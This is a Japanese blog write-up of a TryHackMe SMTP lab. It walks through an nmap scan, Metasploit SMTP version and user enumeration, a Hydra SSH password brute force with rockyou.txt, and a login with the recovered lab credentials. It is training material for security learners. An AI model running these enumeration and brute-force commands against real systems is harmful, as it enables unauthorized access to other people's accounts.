0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

TryHackMe Network Services 2 SMTP Writeup

Last updated at Posted at 2023-05-19

はじめに

本記事は「TryHackMe:Network Services 2 SMTP」のwriteupです。

問題

SMTPに関する問題です。

回答

ポートスキャンします。
結果sshtcp/22smtptcp/25で公開されていることがわかりました。
また、smtpのMTAはPostfixのようです。

┌──(kali㉿kali)-[~]
└─$ nmap -sV -p- --min-rate 5000 10.10.179.241
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-15 01:05 JST
Nmap scan report for 10.10.179.241
Host is up (0.26s latency).
Not shown: 65504 closed tcp ports (conn-refused), 29 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
25/tcp open  smtp    Postfix smtpd
Service Info: Host:  polosmtp.home; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.30 seconds

Metasploitはペネトレーションテスト用のソフトウェアであり、SMTPの列挙を行う機能が存在します。
kaliには既にインストールされており、msfconsoleコマンドで起動します。

┌──(kali㉿kali)-[~]
└─$ msfconsole


 ______________________________________________________________________________
|                                                                              |
|                   METASPLOIT CYBER MISSILE COMMAND V5                        |
|______________________________________________________________________________|
      \                                  /                      /
       \     .                          /                      /            x
        \                              /                      /
         \                            /          +           /
          \            +             /                      /
           *                        /                      /
                                   /      .               /
    X                             /                      /            X
                                 /                     ###
                                /                     # % #
                               /                       ###
                      .       /
     .                       /      .            *           .
                            /
                           *
                  +                       *

                                       ^
####      __     __     __          #######         __     __     __        ####
####    /    \ /    \ /    \      ###########     /    \ /    \ /    \      ####
################################################################################
################################################################################
# WAVE 5 ######## SCORE 31337 ################################## HIGH FFFFFFFF #
################################################################################
                                                           https://metasploit.com


       =[ metasploit v6.3.10-dev                          ]
+ -- --=[ 2306 exploits - 1205 auxiliary - 412 post       ]
+ -- --=[ 968 payloads - 46 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Enable HTTP request and response logging
with set HttpTrace true
Metasploit Documentation: https://docs.metasploit.com/

optionsコマンドで現在設定されている値や必要なオプションを表示することができます。
RHOSTSがRequiredなのに未設定みたいです。

msf6 > use auxiliary/scanner/smtp/smtp_version
msf6 auxiliary(scanner/smtp/smtp_version) > options

Module options (auxiliary/scanner/smtp/smtp_version):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/b
                                       asics/using-metasploit.html
   RPORT    25               yes       The target port (TCP)
   THREADS  1                yes       The number of concurrent threads (max one per host)


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smtp/smtp_version) > back
msf6 > options

Global Options:
===============

   Option             Current Setting    Description
   ------             ---------------    -----------
   ConsoleLogging     false              Log all console input and output
   LogLevel           0                  Verbosity of logs (default 0, max 3)
   MeterpreterPrompt  meterpreter        The meterpreter prompt string
   MinimumRank        0                  The minimum rank of exploits that will run without explicit confirmation
   Prompt             msf6               The prompt string
   PromptChar         >                  The prompt character
   PromptTimeFormat   %Y-%m-%d %H:%M:%S  Format for timestamp escapes in prompts
   SessionLogging     false              Log all input and output for sessions
   SessionTlvLogging  false              Log all incoming and outgoing TLV packets
   TimestampOutput    false              Prefix all console output with a timestamp

コマンドを実行すると推奨メッセージとして表示されるinfo -dを入力すると、
HTMLファイルが生成され、自動的にブラウザで表示されます。
RHOSTSの設定方法およびsmtp_versionの実行の仕方が記載されていました。

手順に従い実行するとRHOSTSが設定され、runを実行するとメールアドレスのドメインpolosmtp.homeを取得できました。

msf6 auxiliary(scanner/smtp/smtp_version) > set rhosts 10.10.94.247
rhosts => 10.10.94.247
msf6 auxiliary(scanner/smtp/smtp_version) > options

Module options (auxiliary/scanner/smtp/smtp_version):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   10.10.94.247     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/b
                                       asics/using-metasploit.html
   RPORT    25               yes       The target port (TCP)
   THREADS  1                yes       The number of concurrent threads (max one per host)


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smtp/smtp_version) > run

[+] 10.10.94.247:25       - 10.10.94.247:25 SMTP 220 polosmtp.home ESMTP Postfix (Ubuntu)\x0d\x0a
[*] 10.10.94.247:25       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

続いて、smtp_enumを実行したいです。
optionsを確認するとRHOSTSが未指定であるため、指定が必要です。
また、USER_FILEtop-usernames-shortlist.txtを今回使います。
seclistsがインストールされていれば/usr/share/wordlists/sopecLists/Usernamesに配置されています。
また、info -dを入力すると、RHOSTSの設定方法や実行方法が記載されていました。

msf6 > use auxiliary/scanner/smtp/smtp_enum
msf6 auxiliary(scanner/smtp/smtp_enum) > options

Module options (auxiliary/scanner/smtp/smtp_enum):

   Name       Current Setting                   Required  Description
   ----       ---------------                   --------  -----------
   RHOSTS                                       yes       The target host(s), see https://docs.metasploit.com/docs
                                                          /using-metasploit/basics/using-metasploit.html
   RPORT      25                                yes       The target port (TCP)
   THREADS    1                                 yes       The number of concurrent threads (max one per host)
   UNIXONLY   true                              yes       Skip Microsoft bannered servers when testing unix users
   USER_FILE  /usr/share/metasploit-framework/  yes       The file that contains a list of probable users accounts
              data/wordlists/unix_users.txt               .


View the full module info with the info, or info -d command.

RHOSTSUSER_FILEを設定し、runするとadministratorというユーザ名がヒットしました。

msf6 auxiliary(scanner/smtp/smtp_enum) > set RHOSTS 10.10.94.247
RHOSTS => 10.10.94.247
msf6 auxiliary(scanner/smtp/smtp_enum) > set USER_FILE /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt
USER_FILE => /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt
msf6 auxiliary(scanner/smtp/smtp_enum) > options

Module options (auxiliary/scanner/smtp/smtp_enum):

   Name       Current Setting                   Required  Description
   ----       ---------------                   --------  -----------
   RHOSTS     10.10.94.247                      yes       The target host(s), see https://docs.metasploit.com/docs
                                                          /using-metasploit/basics/using-metasploit.html
   RPORT      25                                yes       The target port (TCP)
   THREADS    1                                 yes       The number of concurrent threads (max one per host)
   UNIXONLY   true                              yes       Skip Microsoft bannered servers when testing unix users
   USER_FILE  /usr/share/wordlists/seclists/Us  yes       The file that contains a list of probable users accounts
              ernames/top-usernames-shortlist.            .
              txt


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smtp/smtp_enum) > run

[*] 10.10.94.247:25       - 10.10.94.247:25 Banner: 220 polosmtp.home ESMTP Postfix (Ubuntu)
[+] 10.10.94.247:25       - 10.10.94.247:25 Users found: administrator
[*] 10.10.94.247:25       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

さて、これまでの列挙により、ユーザー名やSMTPサーバの種類やOSについての情報を取得することができました。
対象のサーバはSSHポートが開かれていたはずです。取得したユーザー名でログインをしてみようと思います。
Hydraを使用し、パスワードブルートフォースをしてみます。

以下のようなコマンドを実行します。
-tは並列実行数
-lはユーザ名
-Pはパスワードリストの場所
-vVは詳細ログを出力
最後のsshはsshに対するブルートフォースを表します。

hydra -t 16 -l USERNAME -P /usr/share/wordlists/rockyou.txt -vV MACHINE_IP ssh

試したところ、alejandroというパスワードでログインに成功しました。

┌──(kali㉿kali)-[~]
└─$ hydra -t 16 -l administrator -P /usr/share/wordlists/rockyou.txt -vV 10.10.82.241 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-05-20 01:00:39
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.10.82.241:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://administrator@10.10.82.241:22
[INFO] Successful, password authentication is supported by ssh://10.10.82.241:22
[ATTEMPT] target 10.10.82.241 - login "administrator" - pass "123456" - 1 of 14344399 [child 0] (0/0)
.
.
.
[ATTEMPT] target 10.10.82.241 - login "administrator" - pass "buster" - 146 of 14344402 [child 6] (0/3)
[22][ssh] host: 10.10.82.241   login: administrator   password: alejandro
[STATUS] attack finished for 10.10.82.241 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-05-20 01:02:19

得られたパスワードとユーザでSSHログインし、フラグが記載されたファイルを見つけることができました。

┌──(kali㉿kali)-[~]
└─$ ssh administrator@10.10.82.241
The authenticity of host '10.10.82.241 (10.10.82.241)' can't be established.
ED25519 key fingerprint is SHA256:6VV0TI4MQmKeRImOTQ8lj3uk863uVqWS+zh2fF2LLF8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.82.241' (ED25519) to the list of known hosts.
administrator@10.10.82.241's password:
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-111-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri May 19 16:05:14 UTC 2023

  System load:  0.0               Processes:           90
  Usage of /:   43.9% of 9.78GB   Users logged in:     0
  Memory usage: 15%               IP address for eth0: 10.10.82.241
  Swap usage:   0%


87 packages can be updated.
35 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Apr 22 22:21:42 2020 from 192.168.1.110
administrator@polosmtp:~$ ls
dead.letter  Maildir  smtp.txt
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?